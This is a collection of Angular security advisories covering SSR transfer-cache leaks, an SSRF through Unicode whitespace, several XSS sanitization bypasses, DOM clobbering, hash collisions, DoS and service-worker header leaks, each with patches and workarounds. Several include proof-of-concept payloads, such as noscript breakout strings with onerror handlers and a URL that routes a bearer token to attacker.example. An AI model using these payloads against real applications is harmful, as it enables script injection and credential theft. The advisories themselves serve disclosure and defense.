A security bypass vulnerability was discovered in @angular/common when Server-Side Rendering (SSR) and hydration are enabled in applications using a hierarchical HttpClient configuration with withRequestsMadeViaParent().

The HttpTransferCache utility optimizes hydration by caching outgoing HTTP requests performed during SSR and transferring the cached state to the client-side application via TransferState (serialized as JSON in <script id="ng-state">). Following the remediation of CVE-2026-50170, HttpTransferCache automatically skips caching requests that contain authentication headers or credentials (Authorization, Cookie, withCredentials, etc.).

However, when a child HttpClient delegates to a parent client via withRequestsMadeViaParent(), the child's TransferCache interceptor evaluates whether the request is eligible for caching before delegating to the parent client's interceptor chain.

If an outgoing request originates as anonymous from the child client, the child TransferCache marks the request as cacheable. When the request reaches a parent interceptor that injects sensitive authentication credentials (such as an Authorization header or API token), the parent TransferCache correctly skips caching the authenticated request. However, when the backend returns the private, authenticated response, the child TransferCache still stores the response in TransferState based on its initial pre-delegation evaluation.

Impact

Successful exploitation allows sensitive, user-specific information belonging to an authenticated user to be leaked to unauthenticated or unauthorized users. This occurs when:

1. During SSR, a child HttpClient initiates an unauthenticated request that is subsequently authenticated by a parent interceptor. 2. The authenticated response body is cached into the SSR-rendered HTML page (TransferState). 3. The rendered HTML page is stored by a shared caching layer (e.g., CDN, edge cache, or reverse proxy) or served across user sessions. 4. Subsequent visitors requesting the same page receive the cached HTML containing the previous user's private data.

Attack Preconditions & Vulnerable Configurations

An application is affected only if all of the following conditions are met:

SSR and Hydration Enabled: The application uses Server-Side Rendering with hydration enabled (e.g., via provideClientHydration()). Hierarchical HttpClient with Delegation: The application configures a child HttpClient using withRequestsMadeViaParent(). Parent-Level Authentication Injection: Authentication credentials (such as Authorization headers, session cookies, or custom API tokens filtered via withHttpTransferCacheOptions) are attached by an interceptor in the parent injector chain rather than on the initial child request. Shared HTML Caching: The SSR HTML responses are cached by a shared caching layer (CDN, reverse proxy, or application-level HTML cache).

Vulnerable Code Pattern Example

ts // Parent Injector / Application Config export const appConfig: ApplicationConfig = { providers: [ provideHttpClient( // Parent interceptor attaches sensitive Authorization header withInterceptors([ (req, next) => next(req.clone({ setHeaders: { Authorization: Bearer ${getToken()} } })) ]) ), ], };

// Child Injector / Feature or Component Config const childClient = createEnvironmentInjector( [ // Child delegates to parent; TransferCache evaluates req BEFORE parent auth interceptor runs provideHttpClient(withRequestsMadeViaParent()), ], parentInjector ).get(HttpClient);

// Request originates without auth headers -> marked cacheable by child TransferCache childClient.get('/api/user/profile').subscribe();

Patches

The issue is resolved by updating @angular/common to run root interceptors in the terminal request chain so that delegated clients leave inherited root interceptors to the parent chain, preventing duplicate execution and ensuring HttpTransferCache evaluates cache eligibility after parent request interceptors run.

22.1.1 21.2.20 20.3.28

Workarounds & Mitigations

For applications that cannot immediately upgrade to a patched version, use one of the following mitigations:

1. Attach Credentials Before or Within the Child Client: Ensure authentication headers (e.g., Authorization) are attached directly when constructing the request or via an interceptor configured directly on the child HttpClient, rather than relying solely on parent interceptors. 2. Apply Explicit Cache Filters on the Child Client: Configure withHttpTransferCacheOptions with a filter on the child client that explicitly excludes endpoints returning user-specific or sensitive data: ts provideClientHydration( withHttpTransferCacheOptions({ filter: (req) => !req.url.includes('/api/private/'), }) ) 3. Disable HTTP Transfer Cache for Sensitive Routes: If specific SSR routes handle user-authenticated data, disable transfer caching for those requests or ensure the SSR response sets Cache-Control: no-store / private headers at your edge/CDN layer so personalized HTML is never shared.

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept: ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); }

// Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), });

// @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker.

Workarounds Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Angular automatically sanitizes untrusted values bound to security-sensitive DOM sinks (such as href, src, action, xlink:href, and data) to protect against Cross-Site Scripting (XSS).

Prior to the fix, the Angular compiler determined the SecurityContext for directive host bindings (host: {'[attr.href]': 'value'} or @HostBinding('attr.href')) based solely on the declaring directive or component selector at compile time, rather than the concrete host element that the directive was applied to.

When a directive with a security-sensitive host binding was applied to a different concrete host element—such as through: - hostDirectives composition, - Class inheritance of host bindings, - Dynamic component instantiation (createComponent with custom hostElement or dynamic directives), - Elements with SVG/MathML namespaces (e.g. <svg:a>, <math>), or - Elements using tag-neutral selectors (e.g. :not(...)),

the compiler either failed to associate a sanitizer with the host binding or attached an incorrect security context. As a result, untrusted inputs (e.g. javascript:... URLs) bound via the host binding would be written to the DOM attribute without passing through Angular's built-in sanitizer.

Impact An attacker capable of controlling the value bound to an affected directive host binding could execute arbitrary JavaScript in the user's browser context (Cross-Site Scripting).

Patches This issue has been resolved in versions: - 22.1.0 - 21.2.20 - 20.3.28

Workarounds Ensure that any user-controlled values assigned to properties bound via directive host bindings are explicitly sanitized using DomSanitizer.sanitize(SecurityContext.URL, ...) before assignment, or restrict the input to validated safe URL schemes (e.g. http://, https://).

Summary An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization of ProcessingInstruction DOM nodes (<?target data?>, nodeType === 7) when nested inside fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>). While processing instruction data escaped > to &gt;, it did not check for or escape matching closing tags of ancestor fallback elements (e.g., </noscript>). When rendered in a browser with scripting enabled, an unescaped closing tag sequence in a processing instruction prematurely closes the fallback raw-content tag and causes subsequent sibling elements to execute as live HTML.

Technical Description In HTML5 parsing, fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>) place the browser's HTML tokenizer into RAWTEXT mode. In RAWTEXT mode, processing instruction tokens (<?...?>) are treated as literal raw text rather than bogus comments, and the parser ignores > or ?>. The only token sequence that terminates the container is an end tag matching the container tag name (</noscript, </iframe, etc.).

During server-side HTML serialization, processing instruction nodes previously only replaced > with &gt; (preventing bogus comment breakouts in normal HTML data states) but left < untouched. Crucially, processing instruction serialization never inspected ancestor fallback raw-content tags. As a result, if a ProcessingInstruction node inside <noscript> contained </noscript in its data payload, it was emitted unescaped as <?x </noscript ?>.

Impact & Reachability Reachability: Processing instruction nodes cannot be authored directly through standard Angular template syntax (which parses <?...> into comment nodes in DOM position). Reaching this vulnerability requires application or library code calling inject(DOCUMENT).createProcessingInstruction(target, data) or Renderer2 DOM insertion methods with untrusted user input passed to data inside a fallback raw-content container. Impact: In applications that programmatically construct processing instruction nodes inside fallback elements during server-side rendering, an attacker controlling the processing instruction data can break out of the container and execute arbitrary JavaScript in victims' browsers.

Proof of Concept (Minimal Reproduction) ts import { Component, ElementRef, Renderer2, inject, DOCUMENT, AfterViewInit } from '@angular/core';

@Component({ selector: 'app-root', standalone: true, template: <noscript id="host"></noscript> }) export class AppComponent implements AfterViewInit { private r = inject(Renderer2); private el = inject(ElementRef); private doc = inject(DOCUMENT);

ngAfterViewInit() { const host = this.el.nativeElement.querySelector('#host'); // Attacker-controlled input passed as Processing Instruction data const pi = this.doc.createProcessingInstruction('x', '</noscript '); this.r.appendChild(host, pi); // Sibling markup that should remain inert inside <noscript> const img = this.r.createElement('img'); this.r.setAttribute(img, 'src', 'x'); this.r.setAttribute(img, 'onerror', 'alert("SSRPIXSS")'); this.r.appendChild(host, img); } } Vulnerable SSR Output: html <noscript><?x </noscript ?><img src="x" onerror="alert('SSRPIXSS')"></noscript>

Workarounds Avoid passing untrusted user input into document.createProcessingInstruction(target, data) when the node is inserted into <noscript>, <iframe>, <noembed>, or <noframes> during server-side rendering. Manually sanitize or replace < with &lt; in any untrusted data passed to processing instruction nodes on the server.

Summary An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization when traversing ancestor tags across <template> element boundaries. When an application renders untrusted user input within raw-text tags (<xmp>, <style>, <script>), comments, or text nodes inside a <template> that is nested within a fallback raw-content element (<noscript>, <iframe>, <noembed>, <noframes>), matching closing tags (e.g., </noscript>) are not escaped during HTML serialization. When rendered in a browser, this unescaped closing tag prematurely terminates the fallback container and executes trailing markup as active DOM elements.

Technical Description In HTML5 parsing, fallback raw-content elements (<noscript>, <iframe>, <noembed>, <noframes>) place the browser's tokenizer into RAWTEXT mode. In this mode, inner content is parsed as literal text until an end tag matching the container tag name (e.g., </noscript>) is encountered.

To prevent XSS breakout vectors during SSR serialization, the DOM serializer inspects a node's ancestors to escape any matching fallback closing tags (</tag -> &lt;/tag). However: 1. Per DOM specifications, the children of a <template> element reside in a separate DocumentFragment (template.content), whose own parentNode is null. 2. The serializer's ancestor traversal previously only inspected element nodes. When traversing upward from a node inside template.content, traversal terminated immediately at the DocumentFragment boundary. 3. Because traversal stopped before reaching the outer document tree, enclosing fallback raw-content ancestors (such as <noscript> or <iframe>) were not discovered. As a result, closing sequences like </noscript> within <template> content were emitted unescaped.

Impact & Reachability Framework Guarantee Bypass: Angular guarantees that standard text interpolation ({{ userInput }} bound as element text content) is safe by default without manual sanitization. This vulnerability bypasses that guarantee during SSR HTML serialization when untrusted input is interpolated inside template content within fallback containers. Template Authoring: Writing literal <xmp> or <style> directly inside a component's <template> markup requires relaxed template schema checks (CUSTOMELEMENTSSCHEMA or NOERRORSSCHEMA). However, standard HTML comments and text nodes inside <template> within <noscript> are reachable without relaxed schemas. Imperative DOM Construction: Components or directives that construct DOM structures imperatively via Renderer2 bypass template compiler schema checks entirely and are unconditionally affected.

Proof of Concept (Minimal Reproduction) ts import { Component } from '@angular/core';

@Component({ selector: 'app-root', standalone: true, template: <noscript> <template> <xmp>{{ payload }}</xmp> </template> </noscript> }) export class AppComponent { // Attacker-controlled input bound via standard text interpolation payload = '</noscript><img src=x onerror=alert("SSRTEMPLATEXSS")>'; } Vulnerable SSR Output: html <noscript><template><xmp></noscript><img src=x onerror=alert("SSRTEMPLATEXSS")></xmp></template></noscript>

Workarounds Avoid rendering untrusted user input inside <template> elements nested within <noscript>, <iframe>, <noembed>, or <noframes> in server-rendered templates. Avoid programmatic DOM assembly of <template> elements inside fallback containers when handling untrusted data.

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 21.2.17, and 20.3.25, to optimize client-side bootstrap in Server-Side Rendered (SSR) environments, Angular supports Hydration via provideClientHydration(). During SSR, Angular serializes the application's runtime state (such as cached HttpClient responses) and outputs it into the HTML stream as a <script> tag with a predictable identifier. During client bootstrap, Angular recovers this state by looking up the element via document.getElementById('ng-state') and parsing its text content. Because the DOM element lookup for the state container is predictable and relies solely on the ID selector (ng-state), it is susceptible to DOM Clobbering. If the application binds untrusted user input or CMS content to element properties such as id (e.g., <div [id]="userInput"> or <a id="ng-state">) before the genuine <script> tag is parsed by the browser, the attacker-controlled element takes precedence in the DOM lookup. During hydration, when Angular calls document.getElementById('ng-state'), the browser returns the attacker's clobbered element. Angular then attempts to parse the text content or attributes of this clobbered element as JSON. This vulnerability is fixed in 22.0.1, 21.2.17, and 20.3.25.

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 21.2.17, and 20.3.25, Angular's HttpTransferCache caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration. This avoids repeating the same HTTP requests on the client. The cached responses are stored in TransferState using a cache key generated by hashing request properties (method, response type, mapped URL, serialized body, and sorted query parameters). The cache keys are generated using a weak 32-bit DJB2-like polynomial rolling hash. The 32-bit hash space is extremely small, allowing attackers to find hash collisions. An attacker can easily find a query parameter string (e.g., q=aaCAZMMM for a search request) that produces the exact same 32-bit hash as a sensitive endpoint (e.g., /api/user/profile). When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the TransferState cache. This vulnerability is fixed in 22.0.1, 21.2.17, and 20.3.25.

An issue in the @angular/compiler package allows bypassing DOM property sanitization through the use of two-way property bindings.

Specifically, when a native DOM property that requires sanitization (such as innerHTML, srcdoc, src, href, data, or sandbox) is bound using the two-way binding syntax (e.g., [(innerHTML)]="value" or bindon-innerHTML="value"), the Angular template compiler failed to apply the appropriate schema-derived sanitizer resolution to the TwoWayProperty operation. As a result, native two-way DOM bindings were emitted without the required sanitizer function, whereas equivalent one-way bindings would be properly sanitized.

This flaw enables an attacker who can control the value of a two-way bound sensitive property to bypass Angular's built-in sanitization logic, potentially leading to client-side Cross-Site Scripting (XSS).

Impact Any Angular application that uses two-way data binding ([()] or bindon-) on security-sensitive native DOM properties (like innerHTML, href on <a>, src on <img>/<iframe>, etc.) is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to supply an unsanitized property binding value that bypasses core sanitization constraints. This could lead to the execution of arbitrary JavaScript within the target user's browser context, potentially resulting in session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

Attack Preconditions To successfully exploit this vulnerability, the following environment parameters and application states must concurrently exist: 1. Two-Way Binding on Sensitive Properties: The application must bind to a sensitive native DOM property using the two-way binding syntax (e.g., <div [(innerHTML)]="userContent"></div>). 2. User-Controlled Input: The value bound to this property must be influenceable by user-controlled input. 3. Absence of Additional Sanitization: The application does not perform separate manual sanitization (e.g., via DomSanitizer) before passing the value to the bound property.

Patches 22.0.1 21.2.17 20.3.25

A Denial of Service (DoS) vulnerability exists in the @angular/common package of the Angular framework. The formatDate function, which is also utilized by the standard Angular DatePipe, does not properly limit or validate the length of the format parameter.

When parsing a maliciously crafted, excessively long date format string (e.g., a repeating pattern or very large string), the internal parser splits the string iteratively using a regular expression loop. This results in uncontrolled resource consumption (high CPU utilization and excessive memory allocations), leading to a Denial of Service (DoS).

Impact

1. Server-Side Rendering (SSR) In Angular applications that leverage Server-Side Rendering, an attacker can supply a malicious payload with an excessively long date format string. Processing this on the server causes high CPU usage and triggers a JavaScript heap out of memory crash, rendering the application unavailable to all users.

2. Client-Side Rendering (CSR) In standard client-side applications, executing the vulnerable function with an excessively long format string blocks the browser's main thread, causing the browser tab to freeze and become completely unresponsive.

Patched Versions 22.0.1 21.2.17 20.3.25

Attack Preconditions For this vulnerability to be exploitable, both of the following conditions must be met: 1. Vulnerable Component Usage: The application must format dates using the formatDate utility or the DatePipe. 2. Attacker-Controlled Parameter: The date format string passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preferences, or API responses).

If the date format is hardcoded (e.g., 'mediumDate', 'shortTime', or static strings) or properly validated to be within a reasonable length limit, the application is not vulnerable.

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.27, 21.2.19, and 22.0.2, HttpTransferCache comma-joins repeated request parameters, allowing semantically distinct HttpClient requests to use the same transfer-cache key and reuse a wrong backend response. This issue is fixed in versions 20.3.27, 21.2.19, and 22.0.2.

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as onclick and onerror through standard attribute validation (validateAttribute() / validateProperty()), the i18n metadata collection path allowed these same attribute names to be marked for translation using i18n-on attributes (e.g., i18n-onerror).

When exploited, a lower-trust translation file could replace a benign static handler such as onerror="void 0" with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern: html <img src="foo.jpg" onerror="void 0" i18n-onerror />

Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to: - Session Hijacking: Accessing session cookies, tokens, or sensitive user data. - Unauthorized Actions: Performing actions on behalf of the authenticated user.

Patched Versions

- 22.0.1 - 21.2.19 - 20.3.27

Workarounds

Ensure that static event-handler attributes (e.g., onerror, onclick) are never marked for internationalization (i18n-on) in application templates, and ensure translation files are sourced from trusted origins.

A Cross-Site Scripting (XSS) vulnerability exists in @angular/platform-server's DOM emulation dependency (domino) when serializing the content of fallback raw-content elements (<iframe>, <noembed>, <noframes>, and <noscript>).

When rendering dynamic text content inside fallback raw-content elements via template bindings, the template engine expects the browser to render the content safely. Under Server-Side Rendering (SSR), domino is configured with scripting enabled, meaning these elements are treated as raw-text elements.

However, domino's serializer previously did not escape text nodes within fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>) during DOM serialization. As a result, any occurrence of closing tags in the bound dynamic text was not escaped.

The unescaped closing tag could be serialized directly into the output HTML. When parsed by a browser or re-parsed during SSR post-processing without preserving raw-content parser state, an injected closing tag closes the element early, allowing an injected script block to execute in the user's browser context, causing same-origin Cross-Site Scripting (XSS).

Impact

This vulnerability allows an attacker to perform same-origin Cross-Site Scripting (XSS) attacks against any user visiting an SSR-rendered page that binds user-controlled data inside fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>). This can lead to session hijacking, credentials theft, unauthorized actions on behalf of users, and defacement.

Patched Versions

- 22.0.7 - 21.2.19 - 20.3.27

Workarounds If you cannot immediately update your dependencies, you can mitigate this issue using any of the following approaches: - Disable critical CSS inlining: Critical CSS inlining in Angular SSR post-processes the rendered HTML using domino. Disabling this step prevents domino from re-parsing and re-serializing the HTML during server-side rendering. - In angular.json, set inlineCritical to false under style optimization options: json { "projects": { "my-app": { "architect": { "build": { "builder": "@angular/build:application", "options": { "optimization": { "styles": { "inlineCritical": false } } } } } } } } - When rendering programmatically with CommonEngine, set inlineCriticalCss: false in your render options. - Avoid binding user-controlled values inside fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>). - Sanitize user input placed inside these elements to explicitly strip or escape closing tags before passing it to the template.

An information disclosure vulnerability exists in the @angular/service-worker package of the Angular framework. When the Service Worker fetches assets, it preserves metadata (such as headers) from the original request. However, on cross-origin redirects, the Service Worker fails to strip sensitive headers, violating the Fetch redirect algorithm.

This allows a remote attacker to obtain sensitive credentials (e.g., Authorization tokens, Proxy-Authorization credentials, or session cookies) by triggering a cross-origin redirect to an untrusted external origin.

Impact If an application configured with the Angular Service Worker fetches assets with credential headers (such as Authorization header), and one of those requests is redirected to a different origin, the Service Worker will forward those headers to the new origin. This exposes critical credentials and session identifiers to unauthorized third-party servers.

Attack Preconditions For this vulnerability to be exploitable: 1. Vulnerable Configuration: The application must utilize the @angular/service-worker package to fetch assets. 2. Credentialed Requests: The application must attach sensitive request headers (like Authorization, Proxy-Authorization, or rely on cookies) to asset-group requests. 3. Redirect Flow: These requests must encounter a cross-origin redirect to an attacker-controlled or untrusted domain.

Patched Versions 22.0.1 21.2.17 20.3.25

Credits This vulnerability was discovered and reported by CodeMender from Google DeepMind.